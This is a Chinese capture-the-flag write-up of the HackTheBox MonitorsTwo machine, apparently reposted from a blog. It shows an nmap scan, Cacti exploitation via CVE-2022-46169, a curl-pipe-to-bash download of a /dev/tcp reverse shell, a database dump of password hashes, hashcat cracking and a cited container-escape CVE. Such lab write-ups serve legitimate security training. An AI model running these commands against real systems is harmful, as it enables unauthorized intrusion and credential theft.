信息搜集

1、nmap 掃描一波

└─# nmap -sC -sV 10.10.11.211 Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-14 20:55 EDT Nmap scan report for 10.10.11.211 Host is up (0.25s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 48add5b83a9fbcbef7e8201ef6bfdeae (RSA) | 256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA) |_ 256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-server-header: nginx/1.18.0 (Ubuntu) |_http-title: Login to Cacti Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 20.05 seconds

2、打開80端口，找到如下web頁面

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-7hI9C2J9-1684649454439)(file://C:\Users\zhangdongdong\AppData\Roaming\marktext\images\2023-05-15-09-01-22-image.png?msec=1684649186414)]

3、弱口令無果，網上搜搜nday,有很多

https://github.com/sAsPeCt488/CVE-2022-46169

python3 CVE-2022-46169.py http://10.10.11.211/ -c "curl http://10.10.14.21/nc.sh |bash"

└─# cat nc.sh bash -i >& /dev/tcp/10.10.14.21/777 0>&1 └─# python3 -m http.server 80 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... 10.10.11.211 - - [14/May/2023 21:33:02] "GET /nc.sh HTTP/1.1" 200 - listening on [any] 777 ... 10.10.11.211: inverse host lookup failed: Unknown host connect to [10.10.14.21] from (UNKNOWN) [10.10.11.211] 37370 bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell www-data@50bca5e748b0:/var/www/html$

用 掃描了一把，發先如下幾個可以文件

根據之前的腳本提供信息

Tables_in_cacti aggregate_graph_templates aggregate_graph_templates_graph aggregate_graph_templates_item aggregate_graphs aggregate_graphs_graph_item aggregate_graphs_items automation_devices automation_graph_rule_items automation_graph_rules automation_ips automation_match_rule_items automation_networks automation_processes automation_snmp automation_snmp_items automation_templates automation_tree_rule_items automation_tree_rules cdef cdef_items color_template_items color_templates colors data_debug data_input data_input_data data_input_fields data_local data_source_profiles data_source_profiles_cf data_source_profiles_rra data_source_purge_action data_source_purge_temp data_source_stats_daily data_source_stats_hourly data_source_stats_hourly_cache data_source_stats_hourly_last data_source_stats_monthly data_source_stats_weekly data_source_stats_yearly data_template data_template_data data_template_rrd external_links graph_local graph_template_input graph_template_input_defs graph_templates graph_templates_gprint graph_templates_graph graph_templates_item graph_tree graph_tree_items host host_graph host_snmp_cache host_snmp_query host_template host_template_graph host_template_snmp_query plugin_config plugin_db_changes plugin_hooks plugin_realms poller poller_command poller_data_template_field_mappings poller_item poller_output poller_output_boost poller_output_boost_local_data_ids poller_output_boost_processes poller_output_realtime poller_reindex poller_resource_cache poller_time processes reports reports_items sessions settings settings_tree settings_user settings_user_group sites snmp_query snmp_query_graph snmp_query_graph_rrd snmp_query_graph_rrd_sv snmp_query_graph_sv snmpagent_cache snmpagent_cache_notifications snmpagent_cache_textual_conventions snmpagent_managers snmpagent_managers_notifications snmpagent_mibs snmpagent_notifications_log user_auth user_auth_cache user_auth_group user_auth_group_members user_auth_group_perms user_auth_group_realm user_auth_perms user_auth_realm user_domains user_domains_ldap user_log vdef vdef_items version mysql --host=db --user=root --password=root cacti -e "select * from user_auth;" id username password realm full_name email_address must_change_password password_change show_tree show_list show_preview graph_settings login_opts policy_graphs policy_trees policy_hosts policy_graph_templates enabled lastchange lastlogin password_history locked failed_attempts lastfail reset_perms 1 admin $2y$10$IhEA.Og8vrvwueM7VEDkUes3pwc3zaBbQ/iuqMft/llx8utpR1hjC 0 Jamie Thompson admin@monitorstwo.htb on on on on on 2 1 1 1 1on -1 -1 -1 0 0 663348655 3 guest 43e9a4ab75570f5b 0 Guest Account on on on on on 3 1 1 1 1 1 -1 -1 -1 0 0 0 4 marcus $2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C 0 Marcus Brune marcus@monitorstwo.htb on on on on 1 1 1 1 1on -1 -1 on 0 0 2135691668

hashcat -m 3200 -a 0 pass /usr/share/wordlists/rockyou.txt
得用戶marcus 的密碼 funkymonkey

通過ssh 登錄marcus 得到user flag

https://github.com/UncleJ4ck/CVE-2021-41091

利用該cve 逃逸提取

總結

以上是生活随笔為你收集整理的【HackTheBox MonitorsTwo】打靶记录的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。